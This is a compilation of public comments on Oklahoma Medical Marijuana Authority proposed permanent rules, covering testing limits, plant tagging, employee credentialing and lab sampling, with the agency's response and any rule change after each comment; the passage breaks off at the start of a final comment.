Recently had the pleasure of hearing Senator Burns speak at the veteran's roundtable. He stated that himself and 3 or 4 others established acceptable levels of pesticides on medical marijuana. Why should we accept any level of these contaminants? What tests were completed to determine the acceptable levels. Were any experts consulted in making this decision? ZERO TOLERANCE OF PESTICIDES should be our expectation in our medicine not what a handful of folks decide is okay to poison us with!

Omma has sung the song of getting their own laboratory to ensure quality control, however this has yet to happen. I believe it is critical that they get a laboratory established. This will be a way to compare lab results issued by Omma licensed labs. There is inconsistency across the board and this creates a risk to the health and safety of the patients. As patients we should have an Omma lab location that products in question can be brought too for further evaluation and consideration. The lack of urgency to establish a lab in a timely manner since 788 passed is just another neglect on the behalf of the Omma.

Medical Monitoring is something I firmly believe in due to the amount of potentially exposed patients that unbeknownst to them consumed unsafe levels of contaminants. There are around 370,000 licensed patients in our state. The companies involved in the two embargo/recalls were in approximately 20-25% of dispensaries at the time. That’s nearly 100,000 Oklahomans potentially consuming these products. How many have already had adverse health effects without being able to inform their doctors of the exposure? We have a right to know what these effects can be short and long term. Medical monitoring ensures that process happens.

Victims Impact fund. There needs to be a fund established with fines against these companies and they should be responsible for some form of recall insurance or product liability insurance. These funds could then be distributed to assist in medical expenses and future treatment of the patient's needs. By not only

having failed products on the market but continuing to put failed products out after an embargo/recall... That is intentional harm inflicted to others and is criminal. We are victims of the bad actors in the industry as patients.

Summer Parker

OMMA Evaluation:
Thank you for taking the time to share your comment. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
442:10-4-5. Inventory tracking, records, reports, and audits
I am in favor of the rule, but would like to have the following considered: Many of us grow with regular seeds, meaning both males and female plants are produced. Male plants are of no value and destroyed, females are kept and grown until flower. The plant expresses gender between the ages of 4-6 weeks. As of now, we must tag all plants even though half will be destroyed. Is there any way we could change the tag rules to either be less restrictive for those growing with regular seeds, or perhaps we are only required to tag plants after they reach 12 inches. Or even better, those growing with regular seeds may wait to tag plants until the expression of gender is observed not to exceed 6 weeks after planting. Any thoughtful consideration would be appreciated.

442:10-5-1.1. Responsibilities of the license holder - (vii) Conducts any other additional business for the benefit of a medical marijuana commercial licensee authorized under OAC 442:10. 442:10-5-1.1. This is way too broad of a rule. According to this, the Fedex guy who delivers my preroll tubes needs credentials. So too does my plumber, electrician, feed store employee who I purchase guinea feed from, guineas do provide insect control after all, my accountant, mailman, the rural water district that provides my water, PEC who provides my electric, and anyone else who can be imagined. My wife cooks for me each day! That is certainly someone who my operation benefits from; and let's not forget local law enforcement who protect me. Please consider revising this rule to be a bit less inclusive.

Keith Boyd

OMMA Evaluation:
Thank you for taking the time to share your comment. The proposed permanent rules implement legislative changes mandated by SB 1704 (2022) and address changes in statute under 63 O.S. § 427.14b. The permanent rules are intended to provide a structure for the implementation of these legislative requirements, including clarification on the requirement that all employees of a medical marijuana business licensee apply for and receive a credential authorizing the employee to work in a licensed medical marijuana business. As it relates to the 12” height for tagging plants, these proposed rules are the product of numerous conversations with a broad group of stakeholders, including the entirety of the public comment period. Moreover, Oklahoma statute requires OMMA "ensure that all marijuana being grown in Oklahoma is accounted for[.]" 63 O.S. § 427.13(B)(1). The Authority will be making changes to permanent rules to clarify certain people who do not need to apply for and receive a credential in **OAC 442:10-5-1.1(13)**. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
The Authority clarified who does not need to apply for and receive a credential in **OAC 442:10-5-1.1(13)(A).**

Comment:
1) 442:10-8-1 (L) (2) "page 85" Allows for a grower to send a failed microbial testing to a processor for decontamination and returned to the grower after decontamination. The definition of Processor "page 11" does not have any wording to allow for a processor to transfer to a grower. Wording needs to be added to the definition.

2) 442:10-4-5 (f) (D) "page 35", 442:10-5-6 (f) (D) "page 53" "Clones must be tracked in the state seed-to-sale system and must be associated with a wholesale package tag" Creating a package tag with clones dissociates the clones from the originating mother and breaks the chain of custody. At that point in Metrc history the furthest history point back is the package tag. Any reference to an originating mother is lost. Keeping up with clones this way also creates double work. The work flow for tracking clones this way would be as follows: Creates plantings from mother>Create a package tag from plantings>create plantings from package tag>move plantings to veg. A better solution would be to require everyone to use Metrc to track clones by Utilizing the immature plant tab of Metrc. Their won't be tags associated with clones until you change to vegetative stage, but the clones are in fact recorded under the immature plant tab and the clones are associated with the mother they came from. With our proposal the work flow in Metrc is as follows. Highlight mother you choose to pull from>Create Plantings. When ready to move clone to vegetative stage "12 inches" the work flow in Metrc is as follows: Click on Immature plant tab>highlight plantings you wish to move to vegetative stage>Click on Change Growth Phase. This is the true way that Metrc is intended to be used for clones.

3) 442:10-5-1.1. (13) (A) (vii) "page 39" This section of employee is so broad that it would include electric company, water company, lawyers, banks, accountants, etc…

4) 442:10-8-1(i) (6) (I) (i) (II) "page 80" The 32.5% threshold to trigger the Authority to have to come out and collect their own samples from harvest batches is too low. 32% flower is tested all the time. There is no timeline on how fast the Authority has to come collect samples. This would require dedicated OMMA employees to doing nothing more then going around collecting samples at grows on a daily basis. This would also tie up entire harvest batches for growers and they would be missing out on potential sales. In order to make sure that harvest batches aren't tied up, growers will purposely make sure they pull lower flower from plants for testing which will test much lower then the top flower. In return, testing results will become artificially lower then accurate results would be. This could lead to a public health and safety concern while contributing to over-consumption. It is better to think something is higher then it truly is and have to consume more, then to think something is lower then it truly is and consume too much.

Professional Cannibus Association

OMMA Evaluation:
Thank you for taking the time to share your comment. This comment relates to state statute rather than proposed permanent rules. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. The requirement that all employees of a medical marijuana business licensee apply for and receive a credential authorizing the employee to work in a licensed medical marijuana business is mandated by SB 1704 (2022) and in state statute at 63 O.S. § 427.14b. It's important to note that changes to statutory requirements fall within the jurisdiction of the legislature and cannot be changed by OMMA. The Authority will be making changes to permanent rules to clarify certain people who do not need to apply for and receive a credential in **OAC 442:10-5-1.1(13).** Thanks again for

taking the time to share your thoughts and feedback with us.

Change:
The Authority clarified who does not need to apply for and receive a credential in **OAC 442:10-5-1.1(13)(A).**

Comment:
1) 442:10-8-1 (L) (2) “page 85” Allows for a grower to send a failed microbial testing to a processor for decontamination and returned to the grower after decontamination. The definition of Processor “page 11” does not have any wording to allow for a processor to transfer to a grower. Wording needs to be added to the definition.
2) 442:10-4-5 (f) (D) “page 35”, 442:10-5-6 (f) (D) “page 53” “Clones must be tracked in the state seed-to-sale system and must be associated with a wholesale package tag” Creating a package tag with clones dissociates the clones from the originating mother and breaks the chain of custody. At that point in Metrc history the furthest history point back is the package tag. Any reference to an originating mother is lost. Keeping up with clones this way also creates double work. The work flow for tracking clones this way would be as follows: Creates plantings from mother>Create a package tag from plantings>create plantings from package tag>move plantings to veg. A better solution would be to require everyone to use Metrc to track clones by Utilizing the immature plant tab of Metrc. Their won’t be tags associated with clones until you change to vegetative stage, but the clones are in fact recorded under the immature plant tab and the clones are associated with the mother they came from. With our proposal the work flow in Metrc is as follows. Highlight mother you choose to pull from>Create Plantings. When ready to move clone to vegetative stage “12 inches” the work flow in Metrc is as follows: Click on Immature plant tab>highlight plantings you wish to move to vegetative stage>Click on Change Growth Phase. This is the true way that Metrc is intended to be used for clones.
3) 442:10-5-1.1. (13) (A) (vii) “page 39” This section of employee is so broad that it would include electric company, water company, lawyers, banks, accountants, etc…
4) 442:10-8-1(i) (6) (I) (i) (II) “page 80” The 32.5% threshold to trigger the Authority to have to come out and collect their own samples from harvest batches is too low. 32% flower is tested all the time. There is no timeline on how fast the Authority has to come collect samples. This would require dedicated OMMA employees to doing nothing more then going around collecting samples at grows on a daily basis. This would also tie up entire harvest batches for growers and they would be missing out on potential sales. In order to make sure that harvest batches aren’t tied up, growers will purposely make sure they pull lower flower from plants for testing which will test much lower then the top flower. In return, testing results will become artificially lower then accurate results would be. This could lead to a public health and safety concern while contributing to over-consumption. It is better to think something is higher then it truly is and have to consume more, then to think something is lower then it truly is and consume too much.

Stephen Blackburn Red River Pharms

OMMA Evaluation:
Thank you for taking the time to share your comment. This comment relates to state statute rather than proposed permanent rules. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. The requirement that all employees of a medical marijuana business licensee apply for and receive a credential authorizing the employee to work in a licensed medical marijuana business is mandated by SB 1704 (2022) and in state statute at 63 O.S. § 427.14b. It's important to note that changes to statutory requirements fall within the jurisdiction of the legislature and cannot be changed by OMMA. The Authority will be making changes to permanent rules to clarify certain people who do not need to apply for and receive a credential in **OAC 442:10-5-1.1(13)**. Thanks again for

taking the time to share your thoughts and feedback with us.

Change:
The Authority clarified who does not need to apply for and receive a credential in **OAC 442:10-5-1.1(13)(A).**

Comment:
All of them - Change please

Kara lee pierce

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we thank you for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
I am honestly sick of all the recent changes. When we passed the medical bill it was worded in such a way that was supposed to prevent all this crap that is happening now. They weren't supposed to be able to go in and just change everything as they wanted to. The rules were supposed to be set in stone, and all they are making changes left and right. Making things more difficult on everyone.

Michael Anderson

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we thank you for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
Any body who has been around marijuana for any length of time.
Can tell you that no matter what the strain or method of using, every person will be effected differently.
So I firmly believe that you are wasting time and money studying fad ideas .

Tommy Flynn

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we thank you for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
All proposed sections in title 442
I believe there should be a 30 day window for any written appeals, instead of a 10 day window. A 10 day window is too short.

Amy G

OMMA Evaluation:
Thank you for your comment. The authority to conduct hearings, issue final agency orders, impose disciplinary action is given to the Executive Director by 63 O.S. 427.6(M). Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
OAC 442:10-5-4(l)
That really sounds like entrapment. Keep in mind the employees are only doing their job. It's the employers who should be at fault. You shouldn't punish employees for not being whistle blowers.

Michael

OMMA Evaluation:
Thank you for your comment and thoughtful suggestion. This comment primarily focuses on statutory requirements rather than administrative rule changes. The secret shopper program is required by HB 3971 (2022) and 63 O.S. § 427.25; changes to this statutory requirement can only be made by the Legislature. While the Authority cannot make changes in response to this specific comment, we are grateful for your input. Thank you once again for taking the time to share your thoughts with us.

Change:
No rule changes are recommended.

Comment:
I don't agree your constantly trying to change rules

Tanna Johnson

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we thank you for sharing your thoughts.

Change:

No rule changes are recommended.

Comment:
The current rule was voted in by the people by legal voting process!!!

James Boyles

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we thank you for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
442:1-1-15. Emergency cease and desist
The proposed Rule reads that: Any marijuana or marijuana product not properly logged in the inventory tracking system or untraceable product required to be in the system, altered or improperly packaged, or illegally held in violation of the Oklahoma Medical Marijuana and Patient Protection Act, any other laws of this state, or any rules promulgated by the Executive Director may be seized, destroyed, confiscated, embargoed, or placed on an administrative hold.

What is meant by "not properly logged in the inventory tracking system? The way it is written could include innocent mistakes by the licensee. Also, "altered or improperly packaged" could mean many different things and some of this could be easily corrected so the thought of mmj/mmp being "seized, destroyed, confiscated, embargoed or placed on an administrative hold" seems potentially extreme. There does not seem to be any parameters to determine the level of violation here.

The same with this: (b) If the Executive Director or assigned administrative law judge finds that the public health, safety, or welfare requires emergency action and incorporates such finding to that effect in any Order, a summary Order for destruction of marijuana or marijuana products may be issued.
There are different levels of public health, safety and welfare risks but the proposed rule does not delineate the different levels of risk. We need risk-based assessments of violations because not all violations are equal.
Thank you.

442:1-1-12
I do not see anything listed in the proposed rules that would indicate what type of situations would merit an emergency declaration. That seems too wide-open to interpretation and lacks any standardized approach to what would constitute an emergency situation. What specific circumstances would constitute an emergency in the regulated medical marijuana industry? Can those circumstances be added to the wording of this rule? I agree that the OMMA should retain the authority to order a license to cease and desist but the justification for doing so seems unclear. Thank you.

Paige Nelson

OMMA Evaluation:

Thank you for your comment and thoughtful suggestion. This comment primarily focuses on statutory requirements rather than administrative rule changes. 63 O.S. 427.4(F)(3) sets out the “seizing, destroying, confiscating, embargoing, or placing an administrative hold on any marijuana or marijuana product not properly logged in the inventory tracking system or untraceable product required to be in the system, altered or improperly packaged” language. Changes to this statutory requirement can only be made by the Legislature. While the Authority cannot make changes in response to this specific comment, we are grateful for your input. Thank you once again for taking the time to share your thoughts with us.

Change:
No rule changes are recommended.

Comment:
Delivery. I need to have better access. I don't think it's right that alcohol can be delivered but not a patients medication. At least let them mail it. This literally is medication. Sometimes driving is not an option when you are ill.

Susan Amanda Halbrooks

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to a statutory requirement rather than a proposed permanent rule. It's important to note that changes to this requirement fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts

Change:
No rule changes are recommended.

Comment:
Chapter 10 seems pointless.

Ian Ledbetter

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we thank you for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
OMMA licensure is in essence a recurring prescription. Where in legal precedent does the State have the right to alter a citizen's medication arbitrarily? Nowhere in the proposed rule does the process involve consultation of the patient's physician, or any other physician. This is government overreach. Oklahoma leadership is well known to be hostile to all people that display any form of progressive thought. This rule appears to be based in that bigotry, and more importantly, appears to be another pipeline to put more of

our citizens into for profit prisons.
In conclusion this proposed rule change is antithetical to the American concepts of freedom, liberty. I urge you to leave medical decisions in the hands of medical professionals and maintain the separation of medicine and meddling.

David Canoy

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to a statutory requirement rather than a proposed permanent rule. It's important to note that changes to this requirement fall within the jurisdiction of the legislature and cannot be changed by OMMA.While the Authority cannot make changes in response to this specific comment, we are grateful for your input. Thank you once again for taking the time to share your thoughts with us.

Change:
No rule changes are recommended.

Comment:
It should be stated that only hazardous processing licenses should be able to make solvent based infused pre-rolls, vape carts, and edibles.

Non-hazardous processing licenses should Not have the ability to make purchase solvent based cannabis oil or crude oil. They should Not be able to produce or sell products that are from solvent based concentrates.

OMMA - lack of consistent answers
OMMA should be able to answer questions on rules and regulations when business owners ask. The response to our questions to OMMA, is to ask our attorney.
Attorneys do not know the answers to these questions. It is the responsibility of OMMA to be able to provide basic answers to OMMA license holders regarding renewal, transfer of license, and how they want the rules and regulations to be followed.

I also believe OMMA should remain their own entity and not be put under the rules of the legislators. Elected officials and public opinion come and go, and a regulatory board should not be put in the hands of politicians.

Jessica Baker

OMMA Evaluation:
Thank you for your comment and thoughtful suggestion. This comment primarily focuses on statutory requirements rather than administrative rule changes. 63 O.S. § 427.2 and 63 O.S. § 423 govern medical marijuana processors and the production, manufacture, extraction, processing, packaging or creation of concentrate, medical-marijuana-infused products or medical marijuana products as described in the Oklahoma Medical Marijuana and Patient Protection Act. Changes to this statutory requirement can only be made by the Legislature. While the Authority cannot make changes in response to this specific comment, we are grateful for your input. Thank you once again for taking the time to share your thoughts with us.

Change:

No rule changes are recommended.

Comment:
All of the proposed changes to rules
Enough already! We have way too many rules and regs willy-nilly passed by legislators and bureaucrats who think they must do SOMETHING, ANYTHING, even if it's unnecessary! Minor clarifications are fine, but mass rule changing with pages and pages of text may be a bureaucrat's wet dream, but the average citizen HATES IT! OUR TAX DOLLARS pay their salaries, and they need to remember that.

M M Covault

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we thank you for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
Please don’t put more barriers to employment for people. Make it an option with an incentive, NOT a requirement. Don’t make this change please. There are enough barriers to employment already.

Katrina Collins

OMMA Evaluation:
Thank you for taking the time to share your comment. The proposed permanent rules implement legislative changes mandated by SB 1704 (2022) and address changes in statute under 63 O.S. § 427.14b. The permanent rules are intended to provide a structure for the implementation of these legislative requirements, including clarification on the requirement that all employees of a medical marijuana business licensee apply for and receive a credential authorizing the employee to work in a licensed medical marijuana business. While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
This will increase costs to consumers, as all expense trickles down. Please leave it alone as it. Things are working just fine.

James Browning

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we thank you for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
When you impose more medical rules, the doctors are the ones who profit. Please stop making this an easy street for them by imposing more medical issues and water issues that defeat what this state has decided. Legislators are trying to set back a popular vote with personal preference. I am disgusted by how our representatives have been purchased by others. It is disgusting. It is the worst thing to see in my lifetime. There should be no change to how the rules were initially imposed. That is how we all agreed. If you got the short end of the deal, you shouldn't be able to just forget the past and make something new. I hate crooks who want to renegotiate after the deal. That is what Oklahoma is doing now with this industry.

Everything in question. Please leave everything the same.

I really do not want anything to change. I think you have all the tools in place to keep it under control until it goes public. Please don't try to overburden the system with your rules and regulations. You have everything in place to keep it legal and under control. Please don't go over the top to kill what may save our state. It has always been the great cash crop. I like my neighbors, and I like that we have a good time together. Once you issue a license, I would think that you are bound by the terms and conditions that you make me promise to renew.

Your previous rules have been perfect for me. I am not sure why you have to make it more difficult as we go along. If you shut me out of service, then I am going to want something back from my service fee. Do not change the rules in the middle of a game.

This is what you set up. This is what is reality. Everyone wants to go back and revisit the past to make up for past mistakes. This is their folly. This is their failures. These politicians loved the money coming in, but not the water going out. They were stupid and greedy.

The water ordinance is an attempt to circumvent to vote of the people. Water is a concern for all, but it has become a political issue. In my experience, we have had a good supply this year. I would like to leave it alone.

Joe.

It now seems like you are able to please yourself and determine your own rules. Please don't change what I already have and what we want to do. It is bad enough that you get a hundred dollars a year from us for a medically prescribed medication. I find it stupid to pay a government fee to get my medicine. I am opposed to any rule change. I think you have found a way to gain more tax for what you have. Please keep OMMA intact and unchanged.

Frank Gaydusek

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to a statutory requirement and proposed legislation rather than a proposed permanent rule. The cost for a medical marijuana patient license is set in state statue at 63 O.S. § 420. It's important to note that changes to this

requirement fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
No comment

Shante brown

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we thank you for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
The temporary out of state license must meet strict criteria to be issued. Including a valid state issued medical card. I travel frequently between Florida and Oklahoma and often monthly. I have to pay 100 dollars for my out of state 30 day license. With being mailed and traveling often times I am expired or close to it. I have renewed it several times at 100 dollars per renewal this creates a hardship for possession and or buying medical products when I'm there. Temporary out of state licenses should be valid for 6months. Anything longer than 30 days. 90 days something but 30 days is horrible. Thank you

Blake Beidleman

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to a statutory requirement rather than a proposed permanent rule. The term length of a temporary medical marijuana patient license is set in state statue at 63 O.S. § 420. It's important to note that changes to this requirement fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
442:10-8-3 Sampling requirements and procedures (a) General Requirements (8)
The current rules for testing concentrate safety in vaping carts or pods falls short in ensuring compliance with safety requirements. The process for removal of product from the cart, which involves heating, spinning, and breaking the carts or pods, presents inherent risks to both the integrity of the samples (potential for contamination and altered properties) and the safety of laboratory staff (risks associated with broken glass, plastic, etc.). Additionally, the testing of solvents like propane and butane is compromised

due to the off-gassing resulting from the heating process, thereby compromising the overall safety of the tested products.
A more effective proposal involves packaging Certificate of Analysis (COAs) with the hardware, coupled with the state providing an approved list of vapes. Screening of carts prior to packaging would accomplish the same end goal without compromising patient and laboratory staff safety. This approach ensures a heightened level of safety and compliance in the industry.
By deviating from the standard sample preparation tools, the likelihood for adulteration or injury increases drastically. ⅓ of all workplace injuries are hand injuries (https://pubmed.ncbi.nlm.nih.gov/9382655/). The opening of single use devices overwhelmingly results in broken glass, plastic, and unknown exposure to hazardous carcinogen and mutagens for laboratory staff.
Finally, when conducting final form testing, it is advisable to use standard equipment. If testing within a cart is desired, it should be easily opened to facilitate proper examination.
The addition of a definition of final form to meet a legally acceptable definition such as the following would improve industry compliance.
"The Final form of medical marijuana products are in final form packaged for ultimate consumer use and suitable for purchase by a patient or dispensary. In the event that the final form is inaccessible to the laboratory to perform safety testing, the final form shall be considered the marijuana derived product or final product.

442:10-8-1 (i)(2) Mycotoxins (E) and 442:10-8-1 (i)(5) Pesticides (E)
The LCS limits for Pesticides and Mycotoxins are incorrect. CCV limits are always more stringent than the LCS limits. LCS's are carried through the extraction process which causes more room for variation and error. The CCV limits should be set at plus/minus 30% (70-130%) and LCS limits set at plus/minus 40% (60-140%).

James Vandersee

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment primarily relates to laboratory standardization recommendations as required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. As it relates to limits for mycotoxins and pesticides, the Authority will be making changes to permanent rules to clarify the CCV and LCS limits in **OAC 442:10-8-1(i)**. As it relates to final form testing, while the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
The Authority updated the CCV and LCS limits in **OAC 442:10-8-1(i)**. The CCV and LCS limits were updated at **OAC 442:10-8-1 (i)(2)(E)(i)(II), OAC 442:10-8-1 (i)(3)(E)(i)(II), OAC 442:10-8-1 (i)(4)(E)(i)(II), OAC 442:10-8-1 (i)(5)(E)(i)(II), OAC 442:10-8-1 (i)(6)(E)(i)(II),** and **OAC 442:10-8-1 (i)(7)(E)(i)(II)**.

Comment:
442:10-8-3. Sampling requirements and procedures (a)General requirements (8)

The satisfaction of the sampling field log requirement will be attained through the authorization granted during the creation of the METRC manifest. In accordance with the Oklahoma Medical Marijuana Protection Act, 63 O.S. § 427 et seq, and corresponding regulations, the laboratory is obligated to submit relevant information and data to the Authority via the State inventory tracking system. This submission to

the Authority through the State inventory tracking system is considered adequate to fulfill the sampling field log obligation.

442:10-8-3. Sampling requirements and procedures (a) General requirements(4)(B)

The current rules for testing concentrate safety in vaping carts or pods falls short in ensuring compliance with safety requirements. The process for removal of product from the cart, which involves heating, spinning, and breaking the carts or pods, presents inherent risks to both the integrity of the samples (potential for contamination and altered properties) and the safety of laboratory staff (risks associated with broken glass, plastic, etc.). Additionally, the testing of solvents like propane and butane is compromised due to the off-gassing resulting from the heating process, thereby compromising the overall safety of the tested products.

A more effective proposal involves packaging Certificate of Analysis (COAs) with the hardware. Screening of carts prior to packaging would accomplish the same end goal without compromising patient and laboratory staff safety. This approach ensures a heightened level of safety and compliance in the industry.

By deviating from the standard sample preparation tools, the likelihood for adulteration or injury increases drastically. ⅓ of all workplace injuries are hand injuries (https://pubmed.ncbi.nlm.nih.gov/9382655/). The opening of single use devices overwhelmingly results in broken glass, plastic, and unknown exposure to hazardous carcinogen and mutagens for laboratory staff.

Finally, when conducting final form testing, it is advisable to use standard equipment. If testing within a cart is desired, it should be easily opened to facilitate proper examination.

The addition of a definition of final form to meet a legally acceptable definition such as the following would improve industry compliance.

"The Final form of medical marijuana products are in final form packaged for ultimate consumer use and suitable for purchase by a patient or dispensary. In the event that the final form is inaccessible to the laboratory to perform safety testing, the final form shall be considered the marijuana derived product or final product."

These proposed revisions aim to enhance the efficacy, safety, and environmental responsibility of the proposed rules in the context of concentrate safety testing for vaping products.

442:10-8-1 (i)(2) Mycotoxins (E) and 442:10 (i)(5) Pesticides (E)

Here is the comment I made on 442:10-8-1 (i)(2) Mycotoxins (E) and 442:10-8-1 (i)(5) Pesticides (E). The LCS limits for Pesticides and Mycotoxins are incorrect. CCV limits are always more stringent than the LCS limits. LCS's are carried through the extraction process which causes more room for variation and error. The CCV limits should be set at plus/minus 30% (70-130%) and LCS limits set at plus/minus 40% (60-140%).

442:10-8-6.1. Laboratory standardization recommendations for testing standards and thresholds (j)(1) Microbial testing(A) Allowable thresholds (IV) to (VII)

Aspergillus testing in medical marijuana endangers more patients than it protects. Acceptance levels of

Aspergillus being 0 propagate increased antibiotic resistance. This is coupled with the fact that Aspergillus is ubiquitous in the environment. This testing drives the expansion of the use of fungicides. Fungicides are directly linked to increased antibiotic resistance in aspergillosis cases.

Unfortunately, clinical resistance to the azoles in A. fumigatus is an increasing problem, with some medical centers reporting rates as high as 30% in specific patient populations and similarly high rates for environmentally isolated A. fumigatus (1, 2). Regrettably, the mortality for resistant infections is upwards of 90% in some patient populations (3 4 5). While resistance can evolve during patient therapy (6, 7), the emergence of resistance in A. fumigatus has mainly been linked to the use of azoles in agriculture.

Here are two examples that demonstrate how extensive Aspergillus is involved in our daily lives. A study performed in Germany analyzed 2,875 soil samples were taken between 2016 and 2018 (8). Of the fields sampled during this period in 2017, 67% of the soil samples taken were positive for A. fumigatus. The second study examines hospitals from which Luis et al. [9] isolated the environmental strains which are more virulent than the clinical strains. The water used in the hospital showed the presence of Aspergillus and other fungal species at the concentration of 16.1 CFU/m3 in bathrooms, 7 CFU/m3 in inpatient rooms, and 8.6 CFU/m3 in hallways, which symbolizes that the aerosol present in the hospitals. Both studies show that from the cleanest buildings in the world to the ground we walk on Aspergillus will forever be present.

Currently, the United States antibiotic resistance has low rate of aspergillus infection, but 33% mortality rate for antibiotic resistant patients. 10 The US has been sheltered from a very real threat currently being experienced in Europe. France, specifically, has a prevalence of 84% of amphotericin B-resistant Aspergillus flavus isolates is reported. 11 The current regulations promote a drastic reduction in the survivability of all patients.

Laboratories cannot test for every species of Aspergillus (200+) or every other pathogenic fungus, but we can test for the toxic substances they produce that affect 100% of the patient population. Mycotoxin testing via LC-MSMS is a consistent, time tested, and reliable method for both qualitative and quantitative analysis. Food and Agricultural Organization (FAO) suggested that about 25 % of the global food crops were contaminated by mycotoxins [12].The assessment of hazardous mycotoxin production and toxigenic fungal species is critical in assessing food safety and quality [13,14]. World Health Organization (WHO) and FAO, addressed global problem of mycotoxin contamination in food by adopting strict regulatory guidelines [15,16] Ochratoxin A is produced primarily by the species of Aspergillus and Penicillium, which are distributed worldwide [17].It is a significant and detrimental toxin [18], which contaminates a variety of foodstuffs, such as grapes [19], coffee [20], cocoa, nuts [21], infant food [22], wine [23], corn [24], rice [25], wheat [26], meat [27], cheese [28], beer [29], feedstuffs [30], oilseeds [31] and indoor air [32].

By adjusting the testing requirements to target Mycotoxins the following outcomes can be anticipated. Products that negatively impact the entire population of patients will be more consistently identified. This is because mycotoxins are more uniformly distributed throughout the plant. This will lower the likelihood of false-negative testing results and improve patient safety. All laboratories are already testing for mycotoxins, therefore, the time and cost to implement will both be zero. Lastly, this will bring medical marijuana in line with the testing requirements of other agricultural commodities.

Cole Alleman

OMMA Evaluation:

We sincerely appreciate you sharing your comment with us. This comment primarily relates to laboratory standardization recommendations as required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. As it relates to limits for mycotoxins and pesticides, the Authority will be making changes to permanent rules to clarify the CCV and LCS limits in **OAC 442:10-8-1(i)**. As it relates to final form testing, while the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
The Authority updated the CCV and LCS limits in **OAC 442:10-8-1(i)**. The CCV and LCS limits were updated at **OAC 442:10-8-1 (i)(2)(E)(i)(II), OAC 442:10-8-1 (i)(3)(E)(i)(II), OAC 442:10-8-1 (i)(4)(E)(i)(II), OAC 442:10-8-1 (i)(5)(E)(i)(II), OAC 442:10-8-1 (i)(6)(E)(i)(II),** and **OAC 442:10-8-1 (i)(7)(E)(i)(II)**.

Comment:
I do not believe that the industry should allow only one instrument to perform the analysis of heavy metals. It can be scientifically proven that an ICP-OES can be configured to meet an exceed all the state requirements for testing.

Daniel Sellers

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment primarily relates to laboratory standardization recommendations as required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. It's important to note that changes to this statutory requirement fall within the jurisdiction of the legislature and cannot be changed by OMMA. As it relates to instrumentation for heavy metal analysis, the Authority will be making changes to permanent rules to clarify instrumentation for heavy metal analyte testing in **OAC 442:10-8-1(i)(4)(B)**.

Change:
The Authority broadened instrumentation for heavy metal analysis by adding “or Coupled Plasma Optical Emission Spectroscopy (ICP-OES)” in **OAC 442:10-8-1(i)(4)(B).**

Comment:
I can’t see the rules. I’m 63 not 36. Present it in a user friendly manner. Is this done so no one has interest and rules get approved?

Sher Garren

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we thank you for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:

To whom it may concern:

